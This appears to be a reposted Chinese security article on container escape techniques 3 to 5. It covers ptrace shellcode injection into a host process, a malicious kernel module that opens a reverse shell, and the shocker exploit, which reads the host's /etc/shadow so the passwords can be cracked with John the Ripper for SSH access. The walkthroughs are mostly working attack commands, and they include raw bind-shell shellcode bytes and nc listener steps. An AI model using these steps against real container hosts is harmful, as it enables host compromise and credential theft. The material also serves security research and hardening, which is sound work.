03 进程注入
逃逸说明
进程注入允许一个进程写入另一进程的内存空间并执行 shellcode。要将 shellcode 注入主机中的进程,容器必须具备两个条件:
1. 容器的进程必须具有 SYS_PTRACE 功能。
2. 容器的主机必须与容器共享其进程命名空间。
注入操作可能会失败并可能导致意外行为。因此,为了避免这种情况,在逃逸技术中,我们将使用运行在主机上的Python http服务器作为目标进程,并将shellcode注入其内存中。
易受攻击容器和主机要求
所需的最低 Linux 功能:SYS_PTRACE(SYS_PTRACE 功能允许执行 “ptrace” 系统调用)。
所需的容器设置:
1. 容器的主机应将其进程名称空间映射到容器。提示:您可以通过在主机和容器上执行“lsns”命令来验证主机和容器之间共享哪些 Linux 命名空间。
2. 容器内应安装以下工具:
apt install vim
apt install gcc
apt install net-tools
apt install netcat
3. 所需容器的主机设置:
容器的主机应运行 Python http 服务器:
/usr/bin/python3 -m http.server 8080 &
设置易受攻击容器的命令
docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --security-opt apparmor=unconfined ubuntu bash
获取额外功能的命令
docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu bash
注意:即使将 SYS_PTRACE 功能分配给容器进程,AppArmor 保护也会禁用 “ptrace”操作。因此,我们在创建易受攻击的容器期间禁用 AppArmor。
逃逸容器的命令
在此技术中,我们使用 infect.c 代码(由 0x00pf 编写)来创建注入器。我们还使用来自https://www.exploit-db.com/exploits/41128的以下 shell 代码替换 shellcode(第 36-39 行) ,并将“SHELLCODE_SIZE”(第 33 行)更改为 87。
https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
https://www.exploit-db.com/exploits/41128
x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66 xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2b x58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6e x2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05
使用以下命令逃逸容器:
# List process that runs on the host and container.
ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1
# Copy and paste the payload from inject.c
vim inject.c
gcc -o inject inject.c
# Inject the shellcode payload that will open a listener over port 5600
<PID>
# Bind over port 5600
nc <HOST-IP> 5600
04 添加恶意内核模块
逃逸说明
Linux 容器共享相同的操作系统内核,但其容器进程与系统的其他部分隔离。具有SYS_MODULE 功能的容器可以将内核模块加载和卸载到共享内核中。在此容器逃逸技术中,我们将在容器中创建一个模块,该模块将从主机打开一个反向 shell。接下来,我们将利用 SYS_MODULE 功能将此模块添加为内核模块。
易受攻击容器要求
1. 所需的最低 Linux 功能:SYS_MODULE(SYS_MODULE 功能允许执行 “insmod” 系统调用)。
2. 所需的容器设置:逃逸需要安装与主机操作系统版本匹配的内核头文件。
3. 容器应安装以下工具:
apt install make
apt install -y vim # or any other editor
apt install -y netcat
apt install -y gcc
# Container should run with the same operating system version as the host.
# Get the kernel version by ‘uname -r’
version=$(uname -r)
apt install -y linux-headers-$version
apt install -y kmod
apt install net-tools
设置易受攻击容器的命令
docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu:<HOST-OS-VERDION> bash
获取额外功能命令
docker run -it --cap-drop=ALL --cap-add=SYS_MODULE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu:<HOST-OS-VERDION> bash
逃离容器的命令
在这种技术中,我们使用 reverse-shell.c 代码来创建恶意内核模块。我们将反向shell中的IP更改为容器的IP。
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module
# Get the IP address of the container
ifconfig
# Copy the revese-shell.c and update the IP address in the code with the IP of the container
vim reverse-shell.c
# Copy the Makefile
vim Makefile
make
nc -lnvp 4444 &
# Inject the module into the kernel’s host
insmod reverse-shell.ko
fg %<JOB-ID>
05 从主机读取secrets
逃逸说明
DAC_READ_SEARCH 功能允许绕过文件或目录读取权限检查,并使用 “open_by_handle_at” 系统调用来读取它。该系统调用允许遍历整个主机的文件系统。在这种容器逃逸技术中,我们将使用“open_by_handle_at”系统调用执行从主机读取 /etc/passwd 和 /etc/sahdow 文件的代码, 并将其内容保存在容器中。接下来,我们将使用“ John the Ripper ”密码破解程序来获取主机用户的密码,该密码可用于与主机进行 SSH 连接。
https://www.openwall.com/john/
易受攻击容器和主机要求
1. 所需的最低 Linux 功能:DAC_READ_SEARCH(DAC_READ_SEARCH 功能允许执行 “open_by_handle_at” 系统调用)。
2. 所需的容器设置:容器应安装以下工具:
apt install -y vim # or any other editor
apt install -y ssh
apt install -y gcc
apt install john -y # John the Ripper password cracker package
apt install net-tools
apt install -y netcat
3. 所需容器的主机设置:容器的主机应具有:至少一名拥有有效密码的用户、已安装 openssh-server 软件包。
sudo apt install openssh-server
设置易受攻击容器的命令
sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH ubuntu bash
获取额外功能命令
sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu bash
逃逸容器的命令
在这种技术中,我们使用 shocker.c 漏洞来从主机读取文件。
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_search
# Copy the shocker.c content
vim shocker.c
gcc -o shocker shocker.c
# Use the shocker to read files from host:./shocker /host/path /container/path
/etc/passwd passwd
/etc/shadow shadow
# Combine passwd and shadow files
unshadow passwd shadow > password
# Use John the Ripper to crack passwords
john password
# Connect to the host with the John the ripper’s output credentials
ssh <USER-NAME>@<HOST-IP>
password: <password from john’s output>
参考及来源:
https://www.panoptica.app/research/7-ways-to-escape-a-container
免责&版权声明
原文始发于微信公众号(安全小白团):容器逃逸的7种方式 0x2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论